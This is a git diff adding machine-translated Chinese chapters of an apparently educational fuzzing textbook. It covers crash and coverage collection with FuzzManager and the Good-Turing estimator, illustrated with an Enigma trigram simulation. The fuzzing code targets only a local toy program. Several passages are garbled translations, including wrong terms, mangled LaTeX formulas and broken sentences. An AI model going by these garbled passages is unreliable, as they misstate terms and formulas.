39amxs1ODgYNTnOzo61NjYOGyJ09fXN+L9iUbS2Nio3t7eYbfr8Xi0fPnyF3bur93vVE//yOfrebjZ3KXeJ1O4jdXAoKWae4/0sKtvxPXauvtVfbdDDzqHX6/lUa9q7j1SZ48/4jl/YFA19x6pu2/iz8ud1sdqeRT5+f/XrjKnQKpvcV/nPf0Bld8e+fsBAAAA4OlQIAEAAAB45W3fvl3GGNXU1Lz0fcHz5w8MatOpOtd9lpJ3lr30/QIAAADeJBRIAAAAAF5ZmZmZWrp0qXMfp5e9P3gxHnT2uabLi1ldoM7eyBFRAAAAAJ4fCiQAAAAAr6yUlBQtXrxYx44dU1/fyNOz4fXR2eNXfGaxZn58ThknatXYHn1qQwAAAADPDwUSAAAAAAAAAAAAXCiQAAAAAAAAAAAA4PL/AW5lNJwX29TMAAAAAElFTkSuQmCC
+)
+
+以*绿色*高亮显示的行已执行； 左侧绿色栏中的数字表示多少次。 *红色*中突出显示的行没有执行*。 有两个观察结果：*
+
+1.  第34行中的if语句仍被覆盖，但是其后的几行为红色。 这是因为我们的模糊器错过了在该语句中检查的常量，因此很明显我们需要添加到常量列表中。
+
+2.  从26号线到27号线，覆盖范围突然下降。 这两行都包含在内，但计数器显示在超过95％的案例中我们未能通过检查。 这解释了为什么我们很少发现秘密1。 如果这是一个真实的程序，我们现在将尝试找出该分支后面还有多少附加代码，并调整概率，以使我们在必要时更频繁地命中它。
+
+当然，`maze`程序是如此之小，以至于肉眼都可以看到这些问题。 但是实际上，在复杂的程序中，模糊工具卡住的地方很少见。 识别这些情况可以极大地帮助改善模糊结果。
+
+为了完整起见，让我们现在重新运行程序，并添加缺少的常量：
+
+```py
+random.seed(0)
+cmd = ["simply-buggy/maze"]
+
+constants = [3735928559, 1111638594, 3405695742]; # Added the missing constant here
+
+for itnum in range(0,1000):
+    current_cmd = []
+    current_cmd.extend(cmd)
+
+    for _ in range(0,4):
+        if random.randint(0, 9) < 3:
+            current_cmd.append(str(constants[random.randint(0, len(constants) - 1)]))
+        else:
+            current_cmd.append(str(random.randint(-2147483647, 2147483647)))
+
+    result = subprocess.run(current_cmd, stderr=subprocess.PIPE)
+    stderr = result.stderr.decode().splitlines()
+    crashed = False
+
+    if stderr:
+        print(stderr[0])
+
+    for line in stderr:
+        if "ERROR: AddressSanitizer" in line:
+            crashed = True
+            break
+
+    if crashed:
+        print("Found the bug!")
+        break
+
+print("Done!")
+
+```
+
+```py
+You found secret 1
+You found secret 2
+Found the bug!
+Done!
+
+```
+
+不出所料，我们现在发现了包括崩溃在内的秘密2。
+
+## 经验教训
+
+*   当对（a）多台计算机进行模糊处理，（b）多个程序，（c）对多个模糊处理程序进行模糊处理时，请同时使用*崩溃服务器*和 *FuzzManager* 来收集和存储崩溃。
+*   应将可能由同一故障引起的崩溃收集在*存储桶*中，以确保可以将它们全部处理为相同。
+*   集中收集*模糊器覆盖率*可以帮助揭示模糊器的问题。
+
+我们完成了，所以我们清理一下：
+
+```py
+fuzzmanager_process.terminate()
+
+```
+
+```py
+gui_driver.quit()
+
+```
+
+```py
+import [shutil](https://docs.python.org/3/library/shutil.html)
+
+```
+
+```py
+for temp_file in ['coverage.json', 'geckodriver.log', 'ghostdriver.log']:
+    if os.path.exists(temp_file):
+        os.remove(temp_file)
+
+```
+
+```py
+home = os.path.expanduser("~")
+for temp_dir in ['coverage', 'simply-buggy', 'simply-buggy-server', 
+                 os.path.join(home, 'simply-buggy-server'),
+                'FuzzManager']:
+    if os.path.exists(temp_dir):
+        shutil.rmtree(temp_dir)
+
+```
+
+## 后续步骤
+
+在下一章中，我们将学习如何
+
+*   估计[代码中还有多少错误，以及何时进行足够的测试](WhenToStopFuzzing.html)。
+
+## 背景
+
+本章以 [FuzzManager](https://github.com/MozillaSecurity/FuzzManager) 的实现为基础。 其 [Github页面](https://github.com/MozillaSecurity/FuzzManager)包含许多有关如何使用它的附加信息。
+
+论文“什么是好的bug报告？” [ [Bettenburg *等人*，2008。](http://thomas-zimmermann.com/publications/files/bettenburg-fse-2008.pdf)列出了开发人员从错误报告中期望的基本信息，他们如何使用此信息以及用于什么目的。
+
+## 练习
+
+### 练习1：自动崩溃报告
+
+创建一个可以在程序开始时调用的Python函数，以使其自动向 *FuzzManager* 服务器报告崩溃和异常。 让它自动跟踪程序名称（如果可能，还跟踪输出）； 崩溃（引发的异常）应转换为ASan格式，以便 *FuzzManager* 可以读取它们。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/FuzzingInTheLarge.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/37.md b/new/fuzzing-book-zh/37.md
new file mode 100644
index 0000000000000000000000000000000000000000..6d7e9fe8debc1217b462b763abc3ca25bd5df045
--- /dev/null
+++ b/new/fuzzing-book-zh/37.md
@@ -0,0 +1,1332 @@
+# 何时停止模糊
+
+> 原文： [https://www.fuzzingbook.org/html/WhenToStopFuzzing.html](https://www.fuzzingbook.org/html/WhenToStopFuzzing.html)
+
+在过去的章节中，我们讨论了几种模糊测试技术。 知道*做什么*很重要，但是知道何时*停止*做事也很重要。 在本章中，我们将学习何时*停止模糊*-并为此目的使用一个突出的例子：在第二次世界大战中纳粹德国海军使用的 *Enigma* 机器 加密通讯，以及Alan Turing和IJ如何 很好的*模糊测试技术*用于破解“海军谜”机的密码。
+
+图灵不仅发展了计算机科学的基础，也发展了图灵机。 与他的助手I.J. 很好，他还发明了事件从未发生过的可能性的估计器。 我们展示了如何使用Good-Turing估算器来量化没有发现漏洞的模糊测试活动的*残余风险*。 意思是，我们展示了在整个模糊测试之前，如果未发现漏洞，则它如何估计发现漏洞的可能性。
+
+我们讨论了加快[基于覆盖率的模糊器](Coverage.html)的方法，并介绍了一系列评估和推断方法，以评估和推断模糊过程和残留风险。
+
+**前提条件**
+
+*   *关于[覆盖率](Coverage.html)的章节讨论了如何将覆盖率信息用于已执行的测试输入，以指导基于覆盖率的突变灰盒模糊器*。
+*   一些统计知识是有帮助的。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [Fuzzer](Fuzzer.html)
+import [Coverage](Coverage.html)
+
+```
+
+## 谜题机器
+
+1938年是秋天，图灵刚刚在普林斯顿大学获得博士学位，展示了计算的极限并为计算机科学理论奠定了基础。 纳粹德国正在重新武装。 它重新占领了莱茵兰，并根据凡尔赛条约吞并了奥地利。 尽管刚刚在慕尼黑签署了一项协议，但它刚刚吞并了捷克斯洛伐克的Sudetenland，并开始准备接管捷克斯洛伐克的其余地区。
+
+同时，英国情报部门正在加强其能力，以破坏德国人用来传达军事和海军信息的加密消息。 德国人正在使用 [Enigma机器](https://en.wikipedia.org/wiki/Enigma_machine)进行加密。 谜机使用一系列机电转子密码机来保护军事通信。 这是一台Enigma机器的图片：
+
+![Enigma Machine](img/d3c52996e6af0d163d15300076808bf3.jpg)
+
+当Turing加入英国Bletchley公园时，波兰情报部门对Enigma机器的逻辑结构进行了逆向工程，并建造了一个名为 *Bomba* 的解密机（也许是因为它们发出的滴答作响的声音）。 轰炸机同时模拟六台Enigma机器，并尝试不同的解密密钥，直到代码被破坏为止。 波兰孟买可能是第一个*模糊测试仪*。
+
+Turing亲自破解了“海军谜”机的密码，众所周知，这些密码很难破解。 海军谜团使用了三个字母的序列作为其加密密钥的一部分，它们称为 *trigram* 。 这些三联词选自一本名为 *Kenngruppenbuch* 的书，该书以随机顺序包含了所有三联词。
+
+### Kenngruppenbuch
+
+让我们从Kenngruppenbuch（K书）开始。
+
+我们将使用以下Python函数。
+
+*   `shuffle(elements)`-随机排列*元素*并按随机顺序放置项目。
+*   `choice(elements, p=weights)`-从*元素*中随机选择一个项目。 *重量*为两倍的元素被选择的可能性为两倍。
+*   `log(a)`-返回a的自然对数。
+*   `a ** b`-是b的幂（a.k.a. [Power operator](https://docs.python.org/3/reference/expressions.html#the-power-operator) ）
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+import [numpy](https://docs.python.org/3/library/numpy.html)
+
+```
+
+```py
+from [numpy.random](https://docs.python.org/3/library/numpy.random.html) import choice
+from [numpy.random](https://docs.python.org/3/library/numpy.random.html) import shuffle
+from [numpy](https://docs.python.org/3/library/numpy.html) import log
+
+```
+
+我们从创建三字母组开始：
+
+```py
+letters = list(string.ascii_letters[26:])  # upper-case characters
+trigrams = [str(a + b + c) for a in letters for b in letters for c in letters]
+shuffle(trigrams)
+
+```
+
+```py
+trigrams[:10]
+
+```
+
+```py
+['CHB', 'ZYO', 'ENU', 'AEA', 'ZKN', 'USF', 'VAQ', 'JTP', 'ENL', 'TJZ']
+
+```
+
+这些现在进入Kenngruppenbuch。 但是，据观察，某些三字组比其他三字组的选择可能性更大。 例如，任何页面左上角的三字母组或前几页或后几页的三字组比书或页面中间某处的三元组更有可能。 我们使用[概率模糊](ProbabilisticGrammarFuzzer.html)中引入的本福德定律，通过为每个三字组分配*概率*来反映这种分布差异。
+
+回想一下，本福德定律将第i个数字分配给概率$ \ log_ {10} \ left（1 + \ frac {1} {i} \ right）$，其中以10为基数是因为有10位数字$ i \ in [0,9] $。 但是，本福德定律适用于任意数量的“数字”。 因此，我们将第i个三字母组合的概率为$ \ log_b \ left（1 + \ frac {1} {i} \ right）$，其中基础$ b $是所有可能的三字母组合的数目$ b = 26 ^ 3 $。
+
+```py
+k_book = {}  # Kenngruppenbuch
+
+for i in range(1, len(trigrams) + 1):
+    trigram = trigrams[i - 1]
+    # choose weights according to Benford's law
+    k_book[trigram] = log(1 + 1 / i) / log(26**3 + 1)
+
+```
+
+这是来自Kenngruppenbuch的随机三元组：
+
+```py
+random_trigram = choice(list(k_book.keys()), p=list(k_book.values()))
+random_trigram
+
+```
+
+```py
+'VAQ'
+
+```
+
+这是它的概率：
+
+```py
+k_book[random_trigram]
+
+```
+
+```py
+0.013661413835934992
+
+```
+
+### 模糊谜题
+
+在下文中，我们基于K书中的三字母组介绍了海军谜的极简化实现。 当然，实际的Enigma机器的加密机制要复杂得多，值得进行更详细的研究。 我们鼓励感兴趣的读者继续阅读“背景技术”部分中列出的更多内容。
+
+Bletchley Park的人员只能检查编码的消息是否用（猜测的）三字母组编码。 我们的实现`naval_enigma()`带有`message`和`key`（即，猜中的三字母组）。 如果给定的密钥与消息的（先前计算的）密钥相匹配，则`naval_enigma()`返回`True`。
+
+```py
+from [Fuzzer](Fuzzer.html) import RandomFuzzer
+from [Fuzzer](Fuzzer.html) import Runner
+
+```
+
+```py
+class EnigmaMachine(Runner):
+    def __init__(self, k_book):
+        self.k_book = k_book
+        self.reset()
+
+    def reset(self):
+        """Resets the key register"""
+        self.msg2key = {}
+
+    def internal_msg2key(self, message):
+        """Internal helper method. 
+ Returns the trigram for an encoded message."""
+        if not message in self.msg2key:
+            # Simulating how an officer chooses a key from the Kenngruppenbuch to encode the message.
+            self.msg2key[message] = choice(list(self.k_book.keys()), p=list(self.k_book.values()))
+        trigram = self.msg2key[message]
+        return trigram
+
+    def naval_enigma(self, message, key):
+        """Returns true if 'message' is encoded with 'key'"""
+        if key == self.internal_msg2key(message):
+            return True
+        else:
+            return False
+
+```
+
+为了“模糊化” `naval_enigma()`，我们的工作是提供与给定（加密）消息匹配的密钥。 由于按键只有三个字符，因此我们有很好的机会在不到一秒钟的时间内实现这一目标。 （当然，通过随机模糊检测很难找到更长的键。）
+
+```py
+class EnigmaMachine(EnigmaMachine):
+    def run(self, tri):
+        """PASS if cur_msg is encoded with trigram tri"""
+        if self.naval_enigma(self.cur_msg, tri):
+            outcome = self.PASS
+        else:
+            outcome = self.FAIL
+
+        return (tri, outcome)
+
+```
+
+现在我们可以使用`EnigmaMachine`检查特定消息是否用特定的三字母组合编码。
+
+```py
+enigma = EnigmaMachine(k_book)
+enigma.cur_msg = "BrEaK mE. L0Lzz"
+enigma.run("AAA")
+
+```
+
+```py
+('AAA', 'FAIL')
+
+```
+
+破解编码消息的最简单方法是强制破解。 假设在布莱奇利公园，他们会尝试随机三字母组，直到一条消息被破坏为止。
+
+```py
+class BletchleyPark(object):
+    def __init__(self, enigma):
+        self.enigma = enigma
+        self.enigma.reset()
+        self.enigma_fuzzer = RandomFuzzer(
+            min_length=3,
+            max_length=3,
+            char_start=65,
+            char_range=26)
+
+    def break_message(self, message):
+        """Returning the trigram for an encoded message"""
+        self.enigma.cur_msg = message
+        while True:
+            (trigram, outcome) = self.enigma_fuzzer.run(self.enigma)
+            if outcome == self.enigma.PASS:
+                break
+        return trigram
+
+```
+
+Bletchley公园使用这种暴力破解方法需要多长时间找到钥匙？
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+enigma = EnigmaMachine(k_book)
+bletchley = BletchleyPark(enigma)
+
+with Timer() as t:
+    trigram = bletchley.break_message("BrEaK mE. L0Lzz")
+
+```
+
+这是当前消息的密钥：
+
+```py
+trigram
+
+```
+
+```py
+'SBL'
+
+```
+
+不，这并没有花很长时间：
+
+```py
+'%f seconds' % t.elapsed_time()
+
+```
+
+```py
+'0.055514 seconds'
+
+```
+
+```py
+'Bletchley cracks about %d messages per second' % (1/t.elapsed_time())
+
+```
+
+```py
+'Bletchley cracks about 18 messages per second'
+
+```
+
+### 图灵的观察
+
+好吧，让我们破解一些消息并计算观察到每个三字组的次数。
+
+```py
+from [collections](https://docs.python.org/3/library/collections.html) import defaultdict
+
+```
+
+```py
+n = 100  # messages to crack
+
+```
+
+```py
+observed = defaultdict(int)
+for msg in range(0, n):
+    trigram = bletchley.break_message(msg)
+    observed[trigram] += 1
+
+# list of trigrams that have been observed
+counts = [k for k, v in observed.items() if int(v) > 0]
+
+t_trigrams = len(k_book)
+o_trigrams = len(counts)
+
+```
+
+```py
+"After cracking %d messages, we observed %d out of %d trigrams." % (
+    n, o_trigrams, t_trigrams)
+
+```
+
+```py
+'After cracking 100 messages, we observed 83 out of 17576 trigrams.'
+
+```
+
+```py
+singletons = len([k for k, v in observed.items() if int(v) == 1])
+
+```
+
+```py
+"From the %d observed trigrams, %d were observed only once." % (
+    o_trigrams, singletons)
+
+```
+
+```py
+'From the 83 observed trigrams, 76 were observed only once.'
+
+```
+
+给定先前使用的条目的样本，Turing想要*估计当前未知条目是先前使用过的条目的可能性*，并进一步估计先前使用的条目的概率分布。 这导致缺失质量估计量的发展，以及样本中出现的一组项目的真实概率质量的估计。 古德在战争期间与图灵合作，并在图灵的允许下，于1953年发表了对这些估算器偏见的分析。
+
+假设在找到n = 100条消息的键之后，我们观察到三字组“ ABC”正好是$ X_ \ text {ABC} = 10 $次。 $ p_ \ text {ABC} $有多少概率“ ABC”是下一条消息的密钥？ 根据经验，我们将估计$ \ hat p_ \ text {ABC} = \ frac {X_ \ text {ABC}} {n} = 0.1 $。 我们可以得出我们观察到的所有其他三字组的经验估计。 但是，很快就可以看出，完整的概率质量分布在观察到的三字组上。 对于未观察到的*字母，*没有质量，也就是发现新字母的概率。 这称为丢失概率质量或发现概率。**
+
+图灵和古德推论得出*发现概率* $ p_0 $的估计值，即发现未观察到的Trigram的概率，因为恰好一次观测到的Trigram的数量$ f_1 $除以的总数$ n $ 破解的邮件：$$ p_0 = \ frac {f_1} {n} $$，其中$ f_1 $是单例数量，$ n $是破解的邮件数量。
+
+让我们探讨一下这个想法。 我们将扩展`BletchleyPark`以破解`n`消息，并记录随着破解消息数量的增加而观察到的三字组数量。
+
+```py
+class BletchleyPark(BletchleyPark):
+
+    def break_message(self, message):
+        """Returning the trigram for an encoded message"""
+        # For the following experiment, we want to make it practical
+        #   to break a large number of messages. So, we remove the
+        #   loop and just return the trigram for a message.
+        #
+        # enigma.cur_msg = message
+        # while True:
+        #     (trigram, outcome) = self.enigma_fuzzer.run(self.enigma)
+        #     if outcome == self.enigma.PASS:
+        #         break
+        trigram = enigma.internal_msg2key(message)
+        return trigram
+
+    def break_n_messages(self, n):
+        """Returns how often each trigram has been observed, 
+ and #trigrams discovered for each message."""
+        observed = defaultdict(int)
+        timeseries = [0] * n
+
+        # Crack n messages and record #trigrams observed as #messages increases
+        cur_observed = 0
+        for cur_msg in range(0, n):
+            trigram = self.break_message(cur_msg)
+
+            observed[trigram] += 1
+            if (observed[trigram] == 1):
+                cur_observed += 1
+            timeseries[cur_msg] = cur_observed
+
+        return (observed, timeseries)
+
+```
+
+让我们破解2000条消息并计算GT估算值。
+
+```py
+n = 2000        # messages to crack
+
+```
+
+```py
+bletchley = BletchleyPark(enigma)
+(observed, timeseries) = bletchley.break_n_messages(n)
+
+```
+
+让我们确定之前未观察到下一个字母的概率的良好转向估计：
+
+```py
+singletons = len([k for k, v in observed.items() if int(v) == 1])
+gt = singletons / n
+gt
+
+```
+
+```py
+0.396
+
+```
+
+我们可以凭经验验证Good-Turing估计并计算凭经验确定的概率，之前没有观察到下一个三字母组。 为此，我们重复以下实验重复次数= 1000次，报告平均值：如果下一条消息是新的三字母组，则返回1，否则返回0。请注意，在这里，我们不记录观察到的新发现的三字母组。
+
+```py
+repeats = 1000  # experiment repetitions 
+
+```
+
+```py
+newly_discovered = 0
+for cur_msg in range(n, n + repeats):
+    trigram = bletchley.break_message(cur_msg)
+    if(observed[trigram] == 0):
+        newly_discovered += 1
+
+newly_discovered / repeats
+
+```
+
+```py
+0.384
+
+```
+
+看起来很准确吧？ 估计之间的差异相当小，可能低于0.03。 但是，Good-Turing估计几乎不需要与经验估计一样多的计算资源。 与经验估计不同，可以在战役期间计算好转估计。 与经验估计不同，好转估计不需要额外的重复。
+
+实际上，对于任意分布，Good-Turing（GT）估计器的性能通常接近最佳估计器（[在此处尝试！](#Kenngruppenbuch)）。 当然，*发现*的概念不限于三字组。 GT估计器还用于自然语言的研究中，以估计我们从未听说过或未读到下一个单词的可能性。 GT估算器在生态学中用于估算在我们对地球上所​​有*物种*进行分类的过程中发现新的，看不见的物种的可能性。 稍后，我们将看到如何将其用于估计尚未发现漏洞的可能性（即残留风险）。
+
+艾伦·图灵（Alan Turing）对*补充* $（1-GT）$感兴趣，该补充给出了*所有*消息（英国人已经观察到解密所需的三字母组）的比例。 因此，补码也称为样本覆盖率。 *样本覆盖率*量化了我们已经解密的一些消息后，我们对所有消息解密的了解程度。
+
+可以使用先前发现的Trigram解密下一条消息的概率为：
+
+```py
+1 - gt
+
+```
+
+```py
+0.604
+
+```
+
+GT估计值（1 / GT）的*逆*是我们可以用先前观察到的三元组解密之前必须找到的三元组的预期消息数量的*最大似然估计* 解密消息。 在我们的设置中，可以期望在发现新的三元组之前重用先前的三元组的消息数为：
+
+```py
+1 / gt
+
+```
+
+```py
+2.525252525252525
+
+```
+
+但是，为什么GT如此精确？ 凭直觉，尽管采样工作量很大（即破解$ n $消息），但仍然只观察到一次$ f_1 $三元组。 我们可以说这样的“单子”是非常罕见的三字组。 因此，下一条消息用这种罕见但观察到的三字母组合进行编码的概率为下一条消息用明显稀少的，未观察到的三叉戟编码的概率给出了一个很好的上限。 自80年前图灵（Turing）的观察以来，围绕着以下假设的事实发展了整个统计理论：稀有的，观察到的“物种”是未观测物种的良好预测因子。
+
+让我们看一下稀有卦的分布。
+
+```py
+%matplotlib inline
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+frequencies = [v for k, v in observed.items() if int(v) > 0]
+frequencies.sort(reverse=True)
+# Uncomment to see how often each discovered trigram has been observed
+# print(frequencies)
+
+# frequency of rare trigrams
+plt.figure(num=None, figsize=(12, 4), dpi=80, facecolor='w', edgecolor='k')
+plt.subplot(1, 2, 1)
+plt.hist(frequencies, range=[1, 21], bins=numpy.arange(1, 21) - 0.5)
+plt.xticks(range(1, 21))
+plt.xlabel('# of occurances (e.g., 1 represents singleton trigrams)')
+plt.ylabel('Frequency of occurances')
+plt.title('Figure 1\. Frequency of Rare Trigrams')
+
+# trigram discovery over time
+plt.subplot(1, 2, 2)
+plt.plot(timeseries)
+plt.xlabel('# of messages cracked')
+plt.ylabel('# of trigrams discovered')
+plt.title('Figure 2\. Trigram Discovery Over Time');
+
+```
+
+![](data:image/png;base64,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